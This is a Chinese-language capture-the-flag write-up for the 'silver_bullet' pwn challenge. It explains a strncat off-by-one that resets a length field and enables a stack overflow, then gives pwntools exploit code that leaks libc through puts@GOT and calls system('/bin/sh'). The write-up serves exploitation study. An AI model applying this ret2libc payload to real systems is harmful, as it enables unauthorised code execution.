1 程序分析 32 位程序,没 Canary,没开 PIE,libc 版本依旧是 2.23
1 2 3 4 5 6 7 8 9 10 (pwn) secreu@Vanilla:~/code/pwnable/silver_bullet$ checksec --file=silver_bullet [*] '/home/secreu/code/pwnable/silver_bullet/silver_bullet' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8047000) Stripped: No (pwn) secreu@Vanilla:~/code/pwnable/silver_bullet$ strings libc_32.so.6 | grep "Ubuntu GLIBC" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
又是一个菜单题,根据 menu 它是要我们用子弹打败一个怪兽,提供了 4 个选项
create_bullet:创建子弹,读取用户输入到 s,最多 48 字节,strlen 得到输入的长度保存在 v8,也就是 s 之后的 4 个字节,反编译结果中的 *((_DWORD *)s + 12) 就是 v8
power_up:强化子弹,其实就是追加用户输入到 s,它允许用户追加 48 - v8 个字节,用 strncat 将追加的输入拼接到原输入,v8 变为两者长度之和
beat:射击,怪兽名为 ‘Gin’,血量高达 0x7fffffff,v8 大于等于这个值才能击败怪兽并 return
exit(0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; int v5; const char *v6; char s[48 ]; int v8; init_proc(); v8 = 0 ; memset (s, 0 , sizeof (s)); v5 = 0x7FFFFFFF ; v6 = "Gin" ; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(v5, v6); v3 = read_int(); if ( v3 != 2 ) break ; power_up(s); } if ( v3 > 2 ) break ; if ( v3 != 1 ) goto LABEL_15; create_bullet(s); } if ( v3 == 3 ) break ; if ( v3 == 4 ) { puts ("Don't give up !" ); exit (0 ); } LABEL_15: puts ("Invalid choice" ); } if ( beat(s, &v5) ) return 0 ; puts ("Give me more power !!" ); } }
漏洞点出在 power_up 中的 strncat,它会将两个字符串拼接结果的后一位置 0,而 s 后面紧跟着就是 v8,当我们将 s 填满 48 字节时,strncat 会将 v8 的最低字节置 0。v8 决定了我们能否继续输入以及能否 return
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 char *STRNCAT (char *s1, const char *s2, size_t n) { char *s = s1; s1 += strlen (s1); size_t ss = __strnlen (s2, n); s1[ss] = '\0' ; memcpy (s1, s2, ss); return s; }
假设我们 create_bullet 时输入 47 个字符,此时 v8 = 48,然后 power_up 输入 1 个字符,strncat 拼接字符,并将 v8 置 0,然后 power_up 将追加字符的长度加到 v8 上,此时 v8 = 0 + 1 = 1,这样我们就可以继续往 s 上追加 47 字节的内容,足够我们覆盖返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl power_up (char *dest) { char s[48 ]; size_t v3; v3 = 0 ; memset (s, 0 , sizeof (s)); if ( !*dest ) return puts ("You need create the bullet first !" ); if ( *((_DWORD *)dest + 12 ) > 0x2Fu ) return puts ("You can't power up any more !" ); printf ("Give me your another description of bullet :" ); read_input(s, 48 - *((_DWORD *)dest + 12 )); strncat (dest, s, 48 - *((_DWORD *)dest + 12 )); v3 = strlen (s) + *((_DWORD *)dest + 12 ); printf ("Your new power is : %u\n" , v3); *((_DWORD *)dest + 12 ) = v3; return puts ("Enjoy it !" ); }
漏洞实际上是下面 2 行共同的结果,如果是直接用 strlen(dest) 计算拼接之后的长度,也不会导致溢出
1 2 strncat (dest, s, 48 - *((_DWORD *)dest + 12 ));v3 = strlen (s) + *((_DWORD *)dest + 12 );
2 漏洞利用 基本思路是先做一次溢出返回地址,泄露 GOT 表上的 puts 地址,从而拿到 libc 基址,然后再做一次溢出返回地址,执行 system
2.1 泄露 Libc 先 create_bullet 输入 47 个字符,然后 power_up 输入 1 个字符,此时 v8 = 1,然后就可以继续 power_up 溢出到返回地址
要保证 v8 大于等于 0x7fffffff,这样才能通过 beat 执行 return,所以 v8 的高 3 字节写 ‘\xff’。还要注意 strncat 会调用 __strnlen 计算追加输入的长度,所以不能有 ‘\x00’ 出现。我们执行 puts(puts_got),然后返回 main
1 2 3 4 5 6 7 8 9 10 11 12 13 create_bullet(b'A' * 0x2f ) power_up(b'B' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.symbols['main' ] leak_puts = b'\xff' * 3 + b'AAAA' + p32(puts_plt) + p32(main_addr) + p32(puts_got) power_up(leak_puts) beat() io.recvuntil(b'Oh ! You win !!\n' ) puts_addr = u32(io.recv(4 )) log.info(f'puts_addr: {hex (puts_addr)} ' )
2.2 获取 Shell 重复一遍上面的操作,只不过这次执行 system('/bin/sh'),返回到哪里无所谓
1 2 3 4 5 6 7 8 9 10 libc_base = puts_addr - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) create_bullet(b'A' * 0x2f ) power_up(b'B' ) getshell = b'\xff' * 3 + b'AAAA' + p32(system_addr) + p32(main_addr) + p32(binsh_addr) power_up(getshell) beat() io.interactive()